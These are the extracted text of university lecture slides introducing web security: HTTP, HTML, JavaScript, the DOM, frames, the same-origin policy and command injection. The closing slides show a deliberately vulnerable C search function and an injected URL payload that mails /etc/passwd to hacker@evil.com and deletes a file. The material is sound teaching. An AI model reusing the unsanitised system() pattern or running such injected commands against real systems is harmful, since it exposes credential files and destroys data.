Web Security: Background

CS 161: Computer Security
Prof. Vern Paxson

TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn, Warren He, Grant Ho, Frank Li, Nathan Malkin, Mitar Milutinovic, Rishabh Poddar, Rebecca Portnoff, Nate Wang

http://inst.eecs.berkeley.edu/~cs161/

January 31, 2017
What is the Web?

A platform for deploying applications and sharing information, *portably and securely* (?)
HTTP
(Hypertext Transfer Protocol)
A common data communication protocol on the web

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> . . . </HTML>
URLs

Global identifiers of network-retrievable resources

Example:

```
http://safebank.com:81/account?id=10#statement
```
HTTP

CLIENT BROWSER

SAFE BANK

Alice Smith

Accounts
Bill Pay
Mail
Transfers

WEB SERVER

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> . . . </HTML>
HTTP Request

GET: no side effect (supposedly)

POST: possible side effect, includes additional data

<table>
<thead>
<tr>
<th>Method</th>
<th>Path</th>
<th>HTTP version</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET /index.html</td>
<td>HTTP/1.1</td>
<td></td>
</tr>
</tbody>
</table>

Headers:
- Accept: image/gif, image/x-bitmap, image/jpeg, */*
- Accept-Language: en
- Connection: Keep-Alive
- User-Agent: Chrome/21.0.1180.75 (Macintosh; Intel Mac OS X 10_7_4)
- Host: www.safebank.com
- Referer: http://www.google.com?q=dingbats

Data – none for GET

Blank line
HTTP

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> . . . </HTML>
HTTP Response

HTTP version  Status code  Reason phrase

HTTP/1.0 200 OK
Date: Sun, 12 Aug 2012 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Thu, 9 Aug 2012 17:39:05 GMT
Set-Cookie: session=44ebc991
Content-Length: 2543

Data:
<HTML> This is web content formatted using html </HTML>

“Cookie” – state that server asks client to store, and return in the future (discussed later)

Can be a webpage, image, audio, executable ...
Web page

- HTML
- CSS
- Javascript
HTML

A language to create structured documents
One can embed images, objects, or create interactive forms

index.html
<html>
<body>
<div>
    foo
    <a href="http://google.com">Go to Google!</a>
</div>
<form>
    <input type="text" />
    <input type="radio" />
    <input type="checkbox" />
</form>
</body>
</html>
CSS (Cascading Style Sheets)

Language used for describing the presentation of a document

```css
index.css

p.serif {
  font-family: "Times New Roman", Times, serif;
}

p.sansserif {
  font-family: Arial, Helvetica, sans-serif;
}
```
Javascript

Programming language used to manipulate web pages. It is a high-level, untyped and interpreted language with support for objects.

Supported by all web browsers

```
<script>
function myFunction()
{
    document.getElementById("demo").innerHTML = "Text changed."
}
</script>
```

Very powerful!
HTTP

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.1 200 OK
<HTML> . . . </HTML>

webpage
Page rendering

- HTML
- CSS
- Javascript

HTML Parser
CSS Parser
JS Engine
DOM

modifications to the DOM
Painter
bitmap
DOM (Document Object Model)

Cross-platform model for representing and interacting with objects in HTML

HTML
<html>
  <body>
    <div>
      foo
    </div>
    <form>
      <input type="text" />
      <input type="radio" />
      <input type="checkbox" />
    </form>
  </body>
</html>

DOM Tree
|-> Document
  |-> Element (<html>)
    |-> Element (<body>)
      |-> Element (<div>)
        |-> text node
        |-> Form
          |-> Text-box
          |-> Radio Button
          |-> Check Box
The power of Javascript

Get familiarized with it so that you can think of all the attacks one can do with it.
What can you do with Javascript?

Almost anything you want to the DOM!

A JS script embedded on a page can modify in almost arbitrary ways the DOM of the page.

The same happens if an attacker manages to get you load a script into your page.

w3schools.com has nice interactive tutorials
Example of what Javascript can do...

Can change HTML content:

```html
<p id="demo">JavaScript can change HTML content.</p>

<button type="button" onclick="document.getElementById('demo').innerHTML = 'Hello JavaScript!'">Click Me!</button>

DEMO from http://www.w3schools.com/js/js_examples.asp
Other examples

Can change images
Can change style of elements
Can hide elements
Can unhide elements
Can change cursor
Another example: can access cookies

Read cookie with JS:
```javascript
var x = document.cookie;
```

Change cookie with JS:
```javascript
document.cookie = "username=John Smith; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
```
Frames
Frames

- Enable embedding a page within a page

```
<iframe src="URL"></iframe>
```
Frames

- **Modularity**
  - Brings together content from multiple sources
  - Client-side aggregation

- **Delegation**
  - Frame can draw only inside its own rectangle
Frames

• Outer page can specify only sizing and placement of the frame in the outer page

• Frame isolation: Outer page cannot change contents of inner page; inner page cannot change contents of outer page
Thinking About Web Security
Desirable security goals

- **Integrity**: malicious web sites should not be able to tamper with integrity of our computers or our information on other web sites

- **Confidentiality**: malicious web sites should not be able to learn confidential information from our computers or other web sites

- **Privacy**: malicious web sites should not be able to spy on us or our online activities

- **Availability**: malicious parties should not be able to keep us from accessing our web resources
5 Minute Break

Questions Before We Proceed?
Security on the web

• Risk #1: we don’t want a malicious site to be able to trash files/programs on our computers
  – Browsing to awesomevids.com (or evil.com) should not infect our computers with malware, read or write files on our computers, etc.
Security on the web

• Risk #1: we don’t want a malicious site to be able to trash files/programs on our computers
  – Browsing to awesomevids.com (or evil.com) should not infect our computers with malware, read or write files on our computers, etc.

• Defenses: Javascript is sandboxed; try to avoid security bugs in browser code; privilege separation; automatic updates.
Security on the web

• Risk #2: we don’t want a malicious site to be able to spy on or tamper with our information or interactions with other websites
  – Browsing to evil.com should not let evil.com spy on our emails in Gmail or buy stuff with our Amazon accounts
Security on the web

• Risk #2: we don’t want a malicious site to be able to spy on or tamper with our information or interactions with other websites
  – Browsing to evil.com should not let evil.com spy on our emails in Gmail or buy stuff with our Amazon accounts

• Defense: the *same-origin policy*
  – A security policy grafted on after-the-fact, and enforced by web browsers
Security on the web

• Risk #3: we want data stored on a web server to be protected from unauthorized access
Security on the web

• Risk #3: we want data stored on a web server to be protected from unauthorized access
• Defense: server-side security
Same-origin policy
Same-origin policy

- Each site in the browser is isolated from all others
Same-origin policy

- Multiple pages from the same site are not isolated
• **Origin**

- **Granularity of protection for same origin policy**
- **Origin** = protocol + hostname + port

- Determined using *string matching*! If these match, it is same origin; else it is not. Even though in some cases, it is logically the same origin, if there is no string match, it is not.

For example:

```
http://coolsite.com:81/tools/info.html
```
Same-origin policy

One origin should not be able to access the resources of another origin.

Javascript on one page cannot read or modify pages from different origins.

The contents of an iframe have the origin of the URL from which the iframe is served; not the loading website.
Same-origin policy

- The origin of a page is derived from the URL it was loaded from

http://en.wikipedia.org

http://upload.wikimedia.org
Same-origin policy

- The origin of a page is derived from the URL it was loaded from.
- Special case: Javascript runs with the origin of the page that loaded it.

http://en.wikipedia.org

http://www.google-analytics.com
# Assessing SOP

<table>
<thead>
<tr>
<th>Originating document</th>
<th>Accessed document</th>
</tr>
</thead>
</table>
Server-side threats:

Command Injection
Simple Service Example

- Allow users to search the local phonebook for any entries that match a regular expression
- Invoked via URL like:
  \[http://harmless.com/phonebook.cgi?regex=<pattern>\]
- So for example:
  \[http://harmless.com/phonebook.cgi?regex=Alice.*Smith\]
  searches phonebook for any entries with “Alice” and then later “Smith” in them

(Note: web surfer doesn’t enter this URL themselves; Javascript running in their browser constructs it from what they type into a form)
Simple Service Example, con’t

• Assume our server has some “glue” that parses URLs to extract parameters into C variables
  – and returns stdout to the user
• Simple version of code to implement search:

```c
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}
```

Problems?
/* print any employees whose name 
   * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of http://harmless.com/phonebook.cgi?
regex=Alice.*Smith

How about http://harmless.com/phonebook.cgi?
regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20rm

%20 is an escape sequence that expands to a space (' ')
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of http://harmless.com/phonebook.cgi?
regex=Alice.*Smith

How about http://harmless.com/phonebook.cgi?
regex=foo%20x;%20mail%20-s%20hacker@evil.com
%20</etc/passwd;%20rm

⇒ "grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of http://harmless.com/phonebook.cgi?
regex=Alice.*Smith

How about http://harmless.com/phonebook.cgi?
regex=foo%20x;%20mail%20-s%20hacker@evil.com
%20</etc/passwd;%20rm

⇒ "grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"